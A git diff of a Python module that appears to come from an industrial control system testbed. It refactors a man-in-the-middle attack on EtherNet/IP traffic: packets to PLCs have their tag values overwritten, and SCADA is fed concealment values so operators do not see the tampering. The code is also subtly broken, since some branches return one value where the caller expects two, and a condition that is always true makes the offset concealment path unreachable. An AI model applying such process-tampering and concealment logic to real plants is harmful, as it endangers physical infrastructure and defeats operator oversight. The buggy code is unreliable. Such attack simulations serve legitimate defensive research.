@@ -40,50 +40,75 @@ def __init__(self, intermediate_yaml_path: Path, yaml_index: int, queue_number:
4040 self .logger .debug ('Concealment type is: ' + str (self .concealment_type ))
4141
4242 def get_attack_tag (self , a_tag_name ):
43+ self .logger .debug ('attacked tags: ' + str (self .attacked_tags ))
4344 for tag in self .attacked_tags :
4445 if tag ['tag' ] == a_tag_name :
4546 return tag
4647
48+ def handle_attack (self , session , ip_payload ):
49+ # We support multi tag sending, using the same session. Context varies among tags
50+ for tag in self .intermediate_attack ['tags' ]:
51+ if session ['tag' ] == tag ['tag' ]:
52+ modified = True
53+ if 'value' in tag .keys ():
54+ self .logger .debug ('attacking with value' )
55+ return translate_float_to_payload (tag ['value' ], ip_payload [Raw ].load )
56+
57+ elif 'offset' in tag .keys ():
58+ self .logger .debug ('attacking with offset' )
59+ return translate_float_to_payload (
60+ translate_payload_to_float (ip_payload [Raw ].load ) + tag ['offset' ],
61+ ip_payload [Raw ].load ), modified
62+
63+ def handle_concealment (self , session , ip_payload ):
64+ if self .intermediate_attack ['concealment_data' ]['type' ] == 'value' or \
65+ self .intermediate_attack ['concealment_data' ]['type' ] == 'offset' :
66+ for tag in self .intermediate_attack ['concealment_data' ]['concealment_value' ]:
67+ if session ['tag' ] == tag ['tag' ]:
68+ modified = True
69+ if self .intermediate_attack ['concealment_data' ]['type' ]:
70+ self .logger .debug ('Concealment value is: ' + str (tag ['value' ]))
71+ return translate_float_to_payload (tag ['value' ], ip_payload [Raw ].load )
72+ elif self .intermediate_attack ['concealment_data' ]['type' ] == 'offset' :
73+ self .logger .debug ('Concealment offset is: ' + str (tag ['offset' ]))
74+ return translate_float_to_payload (
75+ translate_payload_to_float (ip_payload [Raw ].load ) + tag ['offset' ],
76+ ip_payload [Raw ].load ), modified
77+ elif self .intermediate_attack ['concealment_data' ]['type' ] == 'path' :
78+ self .logger .debug ('Concealing to SCADA with path' )
79+ exp = (self .concealment_data_pd ['iteration' ] == self .get_master_clock ())
80+ concealment_value = float (self .concealment_data_pd .loc [exp ][session ['tag' ]].values [- 1 ])
81+ self .logger .debug ('Concealing with value: ' + str (concealment_value ))
82+ modified = True
83+ return translate_float_to_payload (concealment_value , ip_payload [Raw ].load ), modified
84+
4785 def handle_enip_response (self , ip_payload ):
4886 this_session = int .from_bytes (ip_payload [Raw ].load [4 :8 ], sys .byteorder )
4987 this_context = int .from_bytes (ip_payload [Raw ].load [12 :20 ], sys .byteorder )
5088
5189 self .logger .debug ('ENIP response session: ' + str (this_session ))
5290 self .logger .debug ('ENIP response context: ' + str (this_context ))
5391
92+ # When target is SCADA, the concealment session will be stored in attack_session_ids
93+ if self .intermediate_attack ['target' ].lower () == 'scada' :
94+ for session in self .attack_session_ids :
95+ if session ['session' ] == this_session and session ['context' ] == this_context :
96+ self .logger .debug ('Concealing to SCADA: ' + str (this_session ))
97+ return self .handle_concealment (session , ip_payload )
98+
5499 # Attack values to PLCs
55100 for session in self .attack_session_ids :
56- # We support multi tag sending, using the same session. Context varies among tags
57101 if session ['session' ] == this_session and session ['context' ] == this_context :
58- for tag in self .intermediate_attack ['tags' ]:
59- if session ['tag' ] == tag ['tag' ]:
60- if 'value' in tag .keys ():
61- return translate_float_to_payload (tag ['value' ], ip_payload [Raw ].load )
62-
63- elif 'offset' in tag .keys ():
64- return translate_float_to_payload (translate_payload_to_float (ip_payload [Raw ].load ) + tag ['offset' ],
65- ip_payload [Raw ].load )
102+ return self .handle_attack (session , ip_payload )
66103
67104 # Concealment values to SCADA
68105 for session in self .scada_session_ids :
69- self .logger .debug ('Concealing to SCADA: ' + str (this_session ))
70106 if session ['session' ] == this_session and session ['context' ] == this_context :
71- if self .intermediate_attack ['concealment_data' ]['type' ] == 'value' or self .intermediate_attack ['concealment_data' ]['type' ] == 'offset' :
72- for tag in self .intermediate_attack ['concealment_data' ]['concealment_value' ]:
73- if session ['tag' ] == tag ['tag' ]:
74- if self .intermediate_attack ['concealment_data' ]['type' ]:
75- self .logger .debug ('Concealment value is: ' + str (tag ['value' ]))
76- return translate_float_to_payload (tag ['value' ], ip_payload [Raw ].load )
77- elif self .intermediate_attack ['concealment_data' ]['type' ] == 'offset' :
78- self .logger .debug ('Concealment offset is: ' + str (tag ['offset' ]))
79- return translate_float_to_payload (translate_payload_to_float (ip_payload [Raw ].load ) + tag ['offset' ],
80- ip_payload [Raw ].load )
81- elif self .intermediate_attack ['concealment_data' ]['type' ] == 'path' :
82- self .logger .debug ('Concealing to SCADA with path' )
83- exp = (self .concealment_data_pd ['iteration' ] == self .get_master_clock ())
84- concealment_value = float (self .concealment_data_pd .loc [exp ][session ['tag' ]].values [- 1 ])
85- self .logger .debug ('Concealing with value: ' + str (concealment_value ))
86- return translate_float_to_payload (concealment_value , ip_payload [Raw ].load )
107+ self .logger .debug ('Concealing to SCADA: ' + str (this_session ))
108+ return self .handle_concealment (session , ip_payload )
109+
110+ modified = False
111+ return ip_payload , modified
87112
88113 def handle_enip_request (self , ip_payload , offset ):
89114
@@ -94,18 +119,18 @@ def handle_enip_request(self, ip_payload, offset):
94119 self .logger .debug ('this tag is: ' + str (tag_name ))
95120 this_tag = self .get_attack_tag (tag_name )
96121
97- #self.logger.debug('Tag name: ' + str(tag_name))
98- #self.logger.debug('Attack tag: ' + str(this_tag['tag']))
99- session_dict = {'session' : this_session , 'tag' : this_tag ['tag' ], 'context' : context }
100- self .logger .debug ('session dict: ' + str (session_dict ))
101-
102- if ip_payload [IP ].src == self .intermediate_yaml ['scada' ]['public_ip' ]:
103- self .logger .debug ('SCADA Req session' )
104- self .scada_session_ids .append (session_dict )
122+ if this_tag :
123+ #self.logger.debug('Tag name: ' + str(tag_name))
124+ self .logger .debug ('Attack tag: ' + str (this_tag ['tag' ]))
125+ session_dict = {'session' : this_session , 'tag' : this_tag ['tag' ], 'context' : context }
126+ self .logger .debug ('session dict: ' + str (session_dict ))
105127
106- else :
107- self .logger .debug ('PLC Req session' )
108- self .attack_session_ids .append (session_dict )
128+ if ip_payload [IP ].src == self .intermediate_yaml ['scada' ]['public_ip' ]:
129+ self .logger .debug ('SCADA Req session' )
130+ self .scada_session_ids .append (session_dict )
131+ else :
132+ self .logger .debug ('PLC Req session' )
133+ self .attack_session_ids .append (session_dict )
109134
110135 def capture (self , packet ):
111136 """
@@ -121,11 +146,11 @@ def capture(self, packet):
121146 p = IP (packet .get_payload ())
122147 if 'TCP' in p :
123148 if len (p ) == 102 :
124- p [Raw ].load = self .handle_enip_response (p )
125- del p [ IP ]. chksum
126- del p [TCP ].chksum
127- packet . set_payload ( bytes ( p ))
128- self . logger . debug ( f"Value of network packet for { p [ IP ]. dst } overwritten." )
149+ p [Raw ].load , modified = self .handle_enip_response (p )
150+ if modified :
151+ del p [IP ].chksum
152+ del p [ TCP ]. chksum
153+ packet . set_payload ( bytes ( p ) )
129154 packet .accept ()
130155 return
131156
0 commit comments